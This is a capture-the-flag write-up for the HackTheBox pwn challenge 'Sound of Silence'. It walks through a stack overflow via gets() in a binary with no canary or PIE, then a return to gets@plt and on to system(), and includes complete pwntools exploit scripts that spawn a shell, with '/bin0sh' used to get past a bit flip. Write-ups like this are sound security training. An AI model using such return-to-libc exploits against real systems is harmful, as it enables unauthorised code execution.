Sound of Silence
Sound of Silence
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!
Solution Approach
Core idea: Stack-Based Exploitation. Manipulate return address to gets(), then use system() as it's argument.
Steps
- In this challenge, we're given a 64 bit binary, dynamically linked, and not stripped.
BINARY PROTECTIONS
-
Upon reviewing the decompiled code on Ghidra, it's very clear that the vuln reside at the gets() usage.
-
There are no bound checking, even the canary and PIE is dead. Also there is a system() call.
-
Hence, it's easier for us to obtain RCE.
-
BUT the problem here, remembering it does call system(), hence we can't identify RIP offset like usual with it.
-
Although we can do it manually, but still I preferred using GDB.
-
The method is to do set follow-fork-mode parent at GDB.
-
So now the GDB is following the parent process, not the child process.
-
Simply send +16 bytes or even more than the available buffers to hold by the input variable.
-
We shall gained segfault.
-
Nice! Now, what are our objectives? There is no write(), read(), printf(), or puts() call.
-
BUT there is system().
-
Our objective is to return to
gets@plt, then passsystem()as it's arg. -
Finally, simply passing the
/bin/sh\x00strings. -
Here's the crafted script.
SCRIPT
from pwn import *
exe = './sound_of_silence'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
sh = process(exe)
p = flat([
cyclic(40),
elf.sym['gets'],
elf.sym['system']
])
sh.sendline(p)
sh.sendline(b'/bin/sh\x00')
sh.interactive()
- Interesting, we failed to get shell. Based on the received bytes, it said
/bin.shnot found. - Noticed our
/is bit-flipped (?) - Upon debugging our input by set breakpoints at main(), we found an interesting pointer stored at the RDI upon step into the gets() call.
AFTER THE GETS CALL, PASS FEW BYTES
-
Interesting! RDI is filled with 0x0 value. This indicates a standard lockp.
-
This could be the reason why our shell strings is bitflipped.
-
Running vmmap to check the address. We can see it's writeable! That is also the reason why we can write
/bin/sh. -
So our objective is left to identify which character when it's bitflipped, resulting to "/".
-
Upon stuffing all the chars. Found that passing
/bin0shresulting to/bin/sh.
FULL SCRIPT
from pwn import *
exe = './sound_of_silence'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
sh = process(exe)
p = flat([
cyclic(40),
elf.sym['gets'],
elf.sym['system']
])
sh.sendline(p)
sh.sendline(b'/bin0sh\x00')
sh.interactive()
REMOTE TEST
- Nice! We've pwned it!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Manipulate return address to gets(), then use system() as it's argument.
- Utilize GDB to follow parent process.